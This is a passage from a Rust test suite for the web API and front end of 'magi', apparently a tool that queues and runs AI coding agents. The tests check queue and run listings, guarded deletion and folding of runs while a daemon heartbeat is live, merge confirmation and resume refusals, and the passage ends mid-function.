21174    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
21175    async fn delta_payload_benchmark() {
21176        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
21177        let ui = delta_test_ui(&home);
21178        let query = |ids: Option<String>| {
21179            Query(ListQuery {
21180                limit: Some(50),
21181                ids,
21182            })
21183        };
21184        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
21185        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
21186        let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
21187            .await
21188            .unwrap()
21189            .0;
21190        let queue_id = queue
21191            .iter()
21192            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
21193            .unwrap_or(&queue[0])
21194            .task
21195            .id
21196            .clone();
21197        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
21198            .await
21199            .unwrap()
21200            .0;
21201        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
21202            .await
21203            .unwrap()
21204            .0;
21205        let talks_delta = talks_list(
21206            State(ui.clone()),
21207            query(Some(talks[0].id.clone())),
21208            header::HeaderMap::new(),
21209        )
21210        .await
21211        .unwrap()
21212        .0;
21213        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
21214        eprintln!(
21215            "DELTA_PAYLOAD {}",
21216            serde_json::json!({
21217                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
21218                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
21219                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
21220                "counts": [queue.len(), runs.len(), talks.len()],
21221                "blocked": queue_delta.len() - 1,
21222            })
21223        );
21224    }
21225
21226    #[test]
21227    fn runs_revision_moves_when_deleting_an_older_run() {
21228        let temp = TempDir::new().expect("tempdir");
21229        let runs = temp.path().join("runs");
21230        std::fs::create_dir_all(&runs).expect("create runs dir");
21231
21232        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
21233
21234        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
21235        std::thread::sleep(Duration::from_millis(10));
21236        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
21237
21238        let rev_before = runs_revision(&runs);
21239        assert!(rev_before > 0);
21240
21241        let old_dir = runs.join("20260901-100000-old1");
21242        std::fs::remove_dir_all(&old_dir).expect("remove old run");
21243
21244        let rev_after = runs_revision(&runs);
21245        assert_ne!(
21246            rev_before, rev_after,
21247            "deleting an older run must change the revision so other clients see the deletion"
21248        );
21249    }
21250
21251    /// A run's own `run.json` on an explicit `runs` root, bypassing the
21252    /// process-global home entirely — `RunState::save` writes through
21253    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
21254    /// (see `tests::home_lock` in the integration suite for why).
21255    fn write_state(runs: &FsPath, state: &RunState) {
21256        let dir = runs.join(&state.id);
21257        std::fs::create_dir_all(&dir).expect("run dir");
21258        std::fs::write(
21259            dir.join("run.json"),
21260            serde_json::to_string_pretty(state).expect("serialize run"),
21261        )
21262        .expect("write run.json");
21263    }
21264
21265    /// A seat starting or finishing is a write to `run.json` like any other,
21266    /// so it moves the same revision the change stream already watches —
21267    /// nothing new for `/api/events` to learn, but the property this feature
21268    /// depends on to reach the phone without a poll.
21269    #[test]
21270    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
21271        let temp = TempDir::new().expect("tempdir");
21272        let runs = temp.path().join("runs");
21273        std::fs::create_dir_all(&runs).expect("create runs dir");
21274        let mut state = RunState::new(
21275            PathBuf::from("/repo/magi"),
21276            "main".to_owned(),
21277            "0123456789abcdef".to_owned(),
21278            "task".to_owned(),
21279            Config::default(),
21280        );
21281        state.id = "20260902-100000-c0de".to_owned();
21282        write_state(&runs, &state);
21283
21284        let rev_idle = runs_revision(&runs);
21285        std::thread::sleep(Duration::from_millis(10));
21286        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
21287        write_state(&runs, &state);
21288        let rev_started = runs_revision(&runs);
21289        assert_ne!(
21290            rev_idle, rev_started,
21291            "a seat starting must move the revision"
21292        );
21293
21294        std::thread::sleep(Duration::from_millis(10));
21295        state.seat_finished("judge-1");
21296        write_state(&runs, &state);
21297        let rev_finished = runs_revision(&runs);
21298        assert_ne!(
21299            rev_started, rev_finished,
21300            "and clearing it again must move the revision a second time"
21301        );
21302    }
21303
21304    #[tokio::test]
21305    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
21306        // `TaskView` flattens `Task`, so this is really asserting that
21307        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
21308        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
21309        // never touched web.rs, so nothing here caught it if it had.
21310        let fx = Fixture::start().await;
21311        let q = fx.queue();
21312
21313        let mut t = Task::new(
21314            "Task".to_owned(),
21315            "Instruction".to_owned(),
21316            PathBuf::from("/repo"),
21317            Source::Human,
21318        );
21319        t.block(
21320            vec!["20260101-000000-dead".to_owned()],
21321            Some("waiting on Task 1".to_owned()),
21322        );
21323        t.answers.push(crate::queue::AnsweredQuestion {
21324            question: "Which backend?".to_owned(),
21325            answer: "SQLite".to_owned(),
21326        });
21327        q.put(&mut t).expect("put t");
21328
21329        let res = fx.get("/api/queue").await;
21330        assert_eq!(res.status, 200);
21331        let list = res.json();
21332        let view = list
21333            .as_array()
21334            .expect("array")
21335            .iter()
21336            .find(|v| v["id"] == t.id)
21337            .expect("task in list");
21338        assert_eq!(view["status_str"], "blocked");
21339        assert_eq!(
21340            view["blocked_by"],
21341            serde_json::json!(["20260101-000000-dead"])
21342        );
21343        assert_eq!(view["block_reason"], "waiting on Task 1");
21344        assert_eq!(view["answers"][0]["question"], "Which backend?");
21345        assert_eq!(view["answers"][0]["answer"], "SQLite");
21346
21347        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
21348        // but never `answers` - that is a settled decision, not state
21349        // describing the current block, so it survives.
21350        let res = fx
21351            .post(&format!("/api/queue/{}/hold", t.short()), None)
21352            .await;
21353        assert_eq!(res.status, 200);
21354        let held = res.json();
21355        assert_eq!(held["status_str"], "held");
21356        assert_eq!(held["blocked_by"], serde_json::json!([]));
21357        assert!(held["block_reason"].is_null());
21358        assert_eq!(held["answers"][0]["answer"], "SQLite");
21359    }
21360
21361    #[tokio::test]
21362    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
21363        let fx = Fixture::start().await;
21364        let q = fx.queue();
21365        let mk = |title: &str| {
21366            Task::new(
21367                title.to_owned(),
21368                "Instruction".to_owned(),
21369                PathBuf::from("/repo"),
21370                Source::Human,
21371            )
21372        };
21373        let mut root = mk("root");
21374        root.hold_manual(Some("waiting".to_owned()));
21375        q.put(&mut root).unwrap();
21376        let mut mid = mk("mid");
21377        mid.block(vec![root.id.clone()], None);
21378        q.put(&mut mid).unwrap();
21379        let mut leaf = mk("leaf");
21380        leaf.block(vec![mid.id.clone()], None);
21381        q.put(&mut leaf).unwrap();
21382
21383        let list = fx.get("/api/queue").await.json();
21384        let find = |id: &str| {
21385            list.as_array()
21386                .unwrap()
21387                .iter()
21388                .find(|v| v["id"] == id)
21389                .unwrap()
21390                .clone()
21391        };
21392        let leaf_view = find(&leaf.id);
21393        assert_eq!(
21394            leaf_view["waits_on"],
21395            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
21396        );
21397        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
21398        assert_eq!(
21399            find(&mid.id)["waits_on"],
21400            serde_json::json!([format!("{} (held)", root.short())])
21401        );
21402        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
21403    }
21404
21405    #[tokio::test]
21406    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
21407        let fx = Fixture::start().await;
21408        let q = fx.queue();
21409
21410        // 1. A queued task with runs attached can be deleted.
21411        let mut t1 = Task::new(
21412            "Task 1".to_owned(),
21413            "Instruction 1".to_owned(),
21414            PathBuf::from("/repo"),
21415            Source::Human,
21416        );
21417        let run_id = "20260901-000000-r111";
21418        t1.runs.push(run_id.to_owned());
21419        write_run(&fx.runs(), run_id, RunStatus::Merged);
21420        q.put(&mut t1).expect("put t1");
21421
21422        // Delete by short id
21423        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
21424        assert_eq!(res.status, 204);
21425        assert!(res.body.is_empty(), "204 No Content has no body");
21426        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
21427        assert!(
21428            fx.runs().join(run_id).exists(),
21429            "run directory must not be deleted when its task is deleted"
21430        );
21431
21432        // 2. A task a live daemon is running is refused with 409.
21433        let mut t2 = Task::new(
21434            "Task 2".to_owned(),
21435            "Instruction 2".to_owned(),
21436            PathBuf::from("/repo"),
21437            Source::Human,
21438        );
21439        t2.status = TaskStatus::Running;
21440        q.put(&mut t2).expect("put t2");
21441        let mut beat = crate::daemon::Status::new();
21442        beat.current = vec![crate::daemon::Current {
21443            worker: None,
21444            task: t2.id.clone(),
21445            run: "20260901-000000-r222".to_owned(),
21446        }];
21447        beat.updated_at = jiff::Timestamp::now();
21448        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21449            .expect("publish a heartbeat");
21450        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
21451        assert_eq!(res.status, 409);
21452        assert!(
21453            res.json()["error"]
21454                .as_str()
21455                .unwrap()
21456                .contains("live daemon")
21457        );
21458        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
21459
21460        // 3. The same `running` status and an orphaned lock, with no daemon
21461        // behind either, is a leftover and deletable. Before this the phone
21462        // refused it for good: the status never changes on its own and
21463        // nothing drops a lock whose process is gone.
21464        // The daemon is killed: the file stays, the heartbeat stops.
21465        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
21466        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21467            .expect("leave a stale heartbeat");
21468        let mut t3 = Task::new(
21469            "Task 3".to_owned(),
21470            "Instruction 3".to_owned(),
21471            PathBuf::from("/repo"),
21472            Source::Human,
21473        );
21474        t3.status = TaskStatus::Running;
21475        q.put(&mut t3).expect("put t3");
21476        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
21477        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
21478        assert_eq!(res.status, 204);
21479        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
21480        assert!(
21481            q.claim(&t3.id).is_ok(),
21482            "the stale lock went with it, so the id is claimable again"
21483        );
21484
21485        // 4. Missing id returns 404
21486        let res = fx.delete("/api/queue/nonexistent").await;
21487        assert_eq!(res.status, 404);
21488    }
21489
21490    #[tokio::test]
21491    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
21492        let fx = Fixture::start().await;
21493        let runs = fx.runs();
21494
21495        // 1. Finished and folded run can be deleted along with artifacts
21496        let run_id = "20260901-000000-fold";
21497        let mut state = RunState::new(
21498            PathBuf::from("/repo"),
21499            "main".to_owned(),
21500            "abc".to_owned(),
21501            "instruction".to_owned(),
21502            Config::default(),
21503        );
21504        state.id = run_id.to_owned();
21505        state.status = RunStatus::Merged;
21506        state.candidates.push(crate::run::Candidate {
21507            index: 0,
21508            label: 'A',
21509            agent: "a".to_owned(),
21510            branch: "b".to_owned(),
21511            worktree: PathBuf::from("/w"),
21512            summary: String::new(),
21513            stat: String::new(),
21514            files: 1,
21515            commits: 1,
21516            empty: false,
21517            failed: None,
21518            verified_noop: None,
21519            duration_ms: 0,
21520            folded: true,
21521        });
21522        let dir = runs.join(run_id);
21523        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
21524        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
21525            .expect("write artifact");
21526        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
21527            .expect("write run.json");
21528
21529        // Delete by short id
21530        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
21531        assert_eq!(res.status, 204);
21532        assert!(res.body.is_empty(), "204 has no body");
21533        assert!(!dir.exists(), "run directory and artifacts must be deleted");
21534
21535        // 2. A run a live daemon is working on is refused with 409. The
21536        // heartbeat is what makes it refusable: an unfinished run with no
21537        // daemon behind it is a leftover from a killed process, and case 1
21538        // above would otherwise be impossible to tell apart from this one.
21539        let run_running = "20260901-000000-rung";
21540        write_run(&runs, run_running, RunStatus::Prep);
21541        let mut beat = crate::daemon::Status::new();
21542        beat.current = vec![crate::daemon::Current {
21543            worker: None,
21544            task: "20260901-000000-task".to_owned(),
21545            run: run_running.to_owned(),
21546        }];
21547        beat.updated_at = jiff::Timestamp::now();
21548        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21549            .expect("publish a heartbeat");
21550        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
21551        assert_eq!(res.status, 409);
21552        assert!(
21553            res.json()["error"]
21554                .as_str()
21555                .unwrap()
21556                .contains("live daemon"),
21557            "the refusal must say who is holding it"
21558        );
21559        assert!(
21560            runs.join(run_running).exists(),
21561            "a run in flight keeps its directory"
21562        );
21563
21564        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
21565        let run_unfolded = "20260901-000000-unfd";
21566        let mut state2 = RunState::new(
21567            PathBuf::from("/repo"),
21568            "main".to_owned(),
21569            "abc".to_owned(),
21570            "instruction".to_owned(),
21571            Config::default(),
21572        );
21573        state2.id = run_unfolded.to_owned();
21574        state2.status = RunStatus::Ready;
21575        state2.candidates.push(crate::run::Candidate {
21576            index: 0,
21577            label: 'A',
21578            agent: "a".to_owned(),
21579            branch: "b".to_owned(),
21580            worktree: PathBuf::from("/w"),
21581            summary: String::new(),
21582            stat: String::new(),
21583            files: 1,
21584            commits: 1,
21585            empty: false,
21586            failed: None,
21587            verified_noop: None,
21588            duration_ms: 0,
21589            folded: false,
21590        });
21591        let dir2 = runs.join(run_unfolded);
21592        std::fs::create_dir_all(&dir2).expect("create dir2");
21593        std::fs::write(
21594            dir2.join("run.json"),
21595            serde_json::to_string(&state2).unwrap(),
21596        )
21597        .expect("write run.json");
21598
21599        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
21600        assert_eq!(res.status, 409);
21601        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
21602        assert!(dir2.exists(), "unfolded run directory is kept");
21603
21604        // 4. Missing id returns 404
21605        let res = fx.delete("/api/runs/nonexistent").await;
21606        assert_eq!(res.status, 404);
21607    }
21608
21609    /// The queue tiles on the Stats tab must render even on a home with no
21610    /// runs at all: queue state is not derived from run history, so hiding
21611    /// the whole dashboard body behind "no runs yet" would drop the one
21612    /// thing this tab promises unconditionally (queued/running/held/done).
21613    /// A DOM-level test would need a browser this suite does not have, so
21614    /// this pins the same invariant textually: `renderStatsQueue` is called
21615    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
21616    /// block that gates the run-derived panels.
21617    #[test]
21618    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
21619        let start = APP_JS
21620            .find("function renderStats() {")
21621            .expect("renderStats");
21622        let end = start
21623            + APP_JS[start..]
21624                .find("function statsTile(")
21625                .expect("the next top-level function");
21626        let body = &APP_JS[start..end];
21627
21628        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
21629        let gate_end = gate_start
21630            + body[gate_start..]
21631                .find("}\n  renderStatsQueue")
21632                .expect("the gate's own closing brace, right before the unconditional call");
21633        let gated = &body[gate_start..gate_end];
21634
21635        assert_eq!(
21636            body.matches("renderStatsQueue(").count(),
21637            1,
21638            "renderStats must call renderStatsQueue exactly once: {body}"
21639        );
21640        assert!(
21641            !gated.contains("renderStatsQueue"),
21642            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
21643             run-derived panels on an empty run history - the queue panel has to render \
21644             regardless: {gated}"
21645        );
21646    }
21647
21648    #[test]
21649    fn web_ui_delete_contract_in_front_end() {
21650        // 1. API block has both delete endpoints
21651        assert!(APP_JS.contains("deleteRun:"));
21652        assert!(APP_JS.contains("deleteTask:"));
21653
21654        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
21655        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
21656            ..APP_JS.find("function renderRuns").unwrap()];
21657        assert!(!run_cards_slice.to_lowercase().contains("delete"));
21658
21659        // 3. Run detail has delete entry and reasons
21660        assert!(APP_JS.contains("renderRunDelete"));
21661        assert!(APP_JS.contains("runDeleteReason"));
21662        assert!(APP_JS.contains("magi fold"));
21663        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
21664
21665        // 4. Two-step delete arming and focus on Cancel
21666        assert!(APP_JS.contains("cancel.focus"));
21667        assert!(APP_JS.contains("armedRunDelete"));
21668        assert!(APP_JS.contains("renderTaskDeleteBox"));
21669        assert!(APP_JS.contains("armed${cap(key)}"));
21670
21671        // 5. Running task has disabled delete
21672        assert!(APP_JS.contains("disabled: status === \"running\""));
21673    }
21674
21675    /// Every element a run card's updater reaches for must be in the `refs`
21676    /// the builder handed it.
21677    ///
21678    /// `createRunCard` builds its elements, appends them to the card, and then
21679    /// lists them again in `row.refs`. That second list is the one the updater
21680    /// uses, and nothing connects the two - an element can be built, appended
21681    /// and rendered, and still be missing from `refs`. `superseded` was, for
21682    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
21683    /// exception took `syncList` with it, and the deck showed
21684    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
21685    /// line is computed before the cards, which is why the failure looked like
21686    /// a server that had lost its runs rather than a front end that had
21687    /// stopped rendering them.
21688    ///
21689    /// A `cargo test` cannot execute the front end, so this reads the two
21690    /// halves out of the source and compares them as sets. It is not a check
21691    /// on the wording of either list: adding an element, renaming one, or
21692    /// reordering them all keeps this passing, and only using one the builder
21693    /// never published fails it.
21694    #[test]
21695    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
21696        let build = APP_JS
21697            .find("function createRunCard")
21698            .expect("createRunCard exists");
21699        let update = APP_JS
21700            .find("function updateRunCard")
21701            .expect("updateRunCard exists");
21702        let end = APP_JS
21703            .find("function renderRuns")
21704            .expect("renderRuns exists");
21705
21706        // The builder's published set: the object literal assigned to `refs`.
21707        let builder = &APP_JS[build..update];
21708        let open = builder.find("refs = {").expect("createRunCard sets refs");
21709        let literal = &builder[open + "refs = {".len()..];
21710        let close = literal.find('}').expect("the refs literal is closed");
21711        let published: HashSet<&str> = literal[..close]
21712            .split(',')
21713            // `name` and `name: value` both bind `name`.
21714            .filter_map(|entry| entry.split(':').next())
21715            .map(str::trim)
21716            .filter(|name| !name.is_empty())
21717            .collect();
21718        assert!(
21719            published.len() > 5,
21720            "the refs literal did not parse into names: {published:?}"
21721        );
21722
21723        // What the updaters reach for: every `r.<name>`, where `r` is the
21724        // `const r = row.refs` alias both functions open with.
21725        let mut used: Vec<&str> = Vec::new();
21726        let updaters = &APP_JS[update..end];
21727        for (at, _) in updaters.match_indices("r.") {
21728            // `r` must be the whole identifier, not the tail of another one
21729            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
21730            let before = updaters[..at].chars().next_back();
21731            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21732                continue;
21733            }
21734            let rest = &updaters[at + 2..];
21735            let len = rest
21736                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21737                .unwrap_or(rest.len());
21738            if len > 0 {
21739                used.push(&rest[..len]);
21740            }
21741        }
21742        assert!(
21743            used.len() > 5,
21744            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21745        );
21746
21747        let missing: Vec<&str> = used
21748            .iter()
21749            .copied()
21750            .filter(|name| !published.contains(name))
21751            .collect();
21752        assert!(
21753            missing.is_empty(),
21754            "a run card's updater reaches for {missing:?}, which `createRunCard` \
21755             never put in `refs` - every card will throw and the list will \
21756             render empty under a count line that says otherwise. Published: \
21757             {published:?}"
21758        );
21759    }
21760
21761    #[tokio::test]
21762    async fn folding_from_the_phone_reports_what_it_removed() {
21763        let fx = Fixture::start().await;
21764        let runs = fx.runs();
21765
21766        // A run with no candidates has nothing to fold, which is a 200 with an
21767        // honest count rather than an error: the operator asked for the trees
21768        // to be gone and they are.
21769        let id = "20260901-000000-fold";
21770        write_run(&runs, id, RunStatus::Stalled);
21771        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21772        assert_eq!(res.status, 200);
21773        assert_eq!(res.json()["removed_count"], 0);
21774        assert_eq!(res.json()["run"], id);
21775        assert!(
21776            runs.join(id).exists(),
21777            "a fold keeps the run's record; only the worktrees go"
21778        );
21779    }
21780
21781    #[tokio::test]
21782    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21783        let fx = Fixture::start().await;
21784        let runs = fx.runs();
21785        let wt = fx.home.path().join("wt").join("magi").join("dead");
21786        let id = "20260901-000000-dead";
21787        std::fs::create_dir_all(runs.join(id)).expect("run dir");
21788        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21789        std::fs::create_dir_all(&wt).expect("worktree dir");
21790
21791        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21792        assert_eq!(res.status, 200, "{}", res.body);
21793        assert!(
21794            res.json()["removed_count"].as_u64().unwrap() > 0,
21795            "the worktree this build could not read a state for still went"
21796        );
21797        assert!(
21798            !runs.join(id).exists(),
21799            "an unreadable run has no candidate list to fold selectively, so \
21800             the whole record goes - same as `magi fold` on the CLI"
21801        );
21802    }
21803
21804    #[tokio::test]
21805    async fn deleting_an_unreadable_run_removes_it_wholesale() {
21806        let fx = Fixture::start().await;
21807        let runs = fx.runs();
21808        let wt = fx.home.path().join("wt").join("magi").join("gone");
21809        let id = "20260901-000000-gone";
21810        std::fs::create_dir_all(runs.join(id)).expect("run dir");
21811        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21812        std::fs::create_dir_all(&wt).expect("worktree dir");
21813
21814        let res = fx.delete(&format!("/api/runs/{id}")).await;
21815        assert_eq!(res.status, 204, "{}", res.body);
21816        assert!(!runs.join(id).exists(), "the broken record is gone");
21817        assert!(!wt.exists(), "its worktree is gone too");
21818    }
21819
21820    #[tokio::test]
21821    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21822        let fx = Fixture::start().await;
21823        let runs = fx.runs();
21824        let id = "20260901-000000-live";
21825        write_run(&runs, id, RunStatus::Implementing);
21826
21827        let mut beat = crate::daemon::Status::new();
21828        beat.current = vec![crate::daemon::Current {
21829            worker: None,
21830            task: "20260901-000000-task".to_owned(),
21831            run: id.to_owned(),
21832        }];
21833        beat.updated_at = jiff::Timestamp::now();
21834        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21835            .expect("publish a heartbeat");
21836
21837        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21838        assert_eq!(res.status, 409);
21839        assert!(
21840            res.json()["error"]
21841                .as_str()
21842                .unwrap()
21843                .contains("live daemon"),
21844            "folding under a running agent would pull its worktree away"
21845        );
21846    }
21847
21848    #[tokio::test]
21849    async fn fold_merged_requires_a_pr_url() {
21850        let fx = Fixture::start().await;
21851        let runs = fx.runs();
21852        let id = "20260901-000000-nourl";
21853        write_run(&runs, id, RunStatus::Blocked);
21854
21855        let res = fx
21856            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21857            .await;
21858        assert_eq!(res.status, 400, "{}", res.body);
21859
21860        let blank = fx
21861            .post(
21862                &format!("/api/runs/{id}/fold-merged"),
21863                Some(r#"{"pr_url":"   "}"#),
21864            )
21865            .await;
21866        assert_eq!(blank.status, 400, "{}", blank.body);
21867    }
21868
21869    #[tokio::test]
21870    async fn fold_merged_is_404_for_an_unknown_run() {
21871        let fx = Fixture::start().await;
21872        let res = fx
21873            .post(
21874                "/api/runs/nosuchrun/fold-merged",
21875                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21876            )
21877            .await;
21878        assert_eq!(res.status, 404, "{}", res.body);
21879    }
21880
21881    #[tokio::test]
21882    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21883        let fx = Fixture::start().await;
21884        let runs = fx.runs();
21885        let id = "20260901-000000-livemerge";
21886        write_run(&runs, id, RunStatus::Blocked);
21887
21888        let mut beat = crate::daemon::Status::new();
21889        beat.current = vec![crate::daemon::Current {
21890            worker: None,
21891            task: "20260901-000000-task".to_owned(),
21892            run: id.to_owned(),
21893        }];
21894        beat.updated_at = jiff::Timestamp::now();
21895        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21896            .expect("publish a heartbeat");
21897
21898        let res = fx
21899            .post(
21900                &format!("/api/runs/{id}/fold-merged"),
21901                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21902            )
21903            .await;
21904        assert_eq!(res.status, 409, "{}", res.body);
21905        assert!(
21906            res.json()["error"]
21907                .as_str()
21908                .unwrap()
21909                .contains("live daemon"),
21910            "correcting a run's merge underneath a running agent would race \
21911             whatever it is doing to the same `status`/`merge` fields"
21912        );
21913    }
21914
21915    /// A pull request `gh` cannot even ask about (no such remote, no such
21916    /// repository) must never be recorded as a merge on a guess - the same
21917    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
21918    /// command line, reached here through the phone route instead.
21919    #[tokio::test]
21920    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21921        let fx = Fixture::start().await;
21922        let runs = fx.runs();
21923        let id = "20260901-000000-unconfirmed";
21924        write_run(&runs, id, RunStatus::Blocked);
21925
21926        let res = fx
21927            .post(
21928                &format!("/api/runs/{id}/fold-merged"),
21929                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21930            )
21931            .await;
21932        assert_eq!(res.status, 400, "{}", res.body);
21933        assert_eq!(
21934            read_run(&runs, id).unwrap().status,
21935            RunStatus::Blocked,
21936            "a pull request that could not be confirmed merged must leave \
21937             the run exactly where it was"
21938        );
21939    }
21940
21941    #[tokio::test]
21942    async fn terminal_runs_cannot_be_resumed() {
21943        let fx = Fixture::start().await;
21944        let runs = fx.runs();
21945
21946        for (status, word) in [
21947            (RunStatus::Merged, "merged"),
21948            (RunStatus::Ready, "ready"),
21949            (RunStatus::Failed, "failed"),
21950        ] {
21951            let id = format!("20260901-000000-{}", &word[..4]);
21952            write_run(&runs, &id, status);
21953            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21954            assert_eq!(res.status, 409, "{word} must not be resumable");
21955        }
21956    }
21957
21958    #[tokio::test]
21959    async fn resume_is_refused_while_the_loop_is_running() {
21960        let fx = Fixture::start().await;
21961        let runs = fx.runs();
21962        let stalled = "20260901-000000-stal";
21963        write_run(&runs, stalled, RunStatus::Stalled);
21964
21965        // The loop is busy with a *different* run, and that is still a
21966        // refusal: a manual resume must never race whatever the loop itself
21967        // is already driving, whether that is one run or several.
21968        let mut beat = crate::daemon::Status::new();
21969        beat.current = vec![crate::daemon::Current {
21970            worker: None,
21971            task: "20260901-000000-task".to_owned(),
21972            run: "20260901-000000-othr".to_owned(),
21973        }];
21974        beat.updated_at = jiff::Timestamp::now();
21975        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21976            .expect("publish a heartbeat");
21977
21978        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21979        assert_eq!(res.status, 409);
21980        let err = res.json()["error"].as_str().unwrap().to_owned();
21981        assert!(err.contains("othr"), "it names what the loop is on: {err}");
21982        assert!(err.contains("stop it first"), "{err}");
21983    }
21984
21985    #[test]
21986    fn a_run_cannot_be_resumed_twice_at_once() {
21987        let home = TempDir::new().expect("temp home");
21988        let ui = Ui::new(
21989            Queue::at(home.path().join("queue")),
21990            Questions::at(home.path().join("questions")),
21991            Talks::at(home.path().join("talks")),
21992            home.path().join("runs"),
21993            home.path().to_path_buf(),
21994            PathBuf::from("/repo"),
21995        )
21996        .with_worktrees_root(home.path().join("wt"));
21997        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
21998        let again = ui.begin_resume("20260901-000000-once");
21999        assert!(again.is_err(), "a second tap must not start a second graph");
22000        drop(first);
22001        assert!(
22002            ui.begin_resume("20260901-000000-once").is_ok(),
22003            "and the claim is released when the attempt ends"
22004        );
22005    }
22006
22007    #[test]
22008    fn talk_thinking_tracks_only_its_held_turn_claim() {
22009        let home = TempDir::new().expect("temp home");
22010        let ui = Ui::new(
22011            Queue::at(home.path().join("queue")),
22012            Questions::at(home.path().join("questions")),
22013            Talks::at(home.path().join("talks")),
22014            home.path().join("runs"),
22015            home.path().to_path_buf(),
22016            PathBuf::from("/repo"),
22017        )
22018        .with_worktrees_root(home.path().join("wt"));
22019        let id = "20260901-000000-once";
22020
22021        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
22022        let turn = ui.begin_talk_turn(id).expect("claim turn");
22023        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
22024        assert!(
22025            !ui.is_thinking("20260901-000000-other"),
22026            "one talk's turn does not make another talk busy"
22027        );
22028        drop(turn);
22029        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
22030    }
22031
22032    #[test]
22033    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
22034        let home = TempDir::new().expect("temp home");
22035        let talks = Talks::at(home.path().join("talks"));
22036        let ui = Ui::new(
22037            Queue::at(home.path().join("queue")),
22038            Questions::at(home.path().join("questions")),
22039            talks.clone(),
22040            home.path().join("runs"),
22041            home.path().to_path_buf(),
22042            PathBuf::from("/repo"),
22043        )
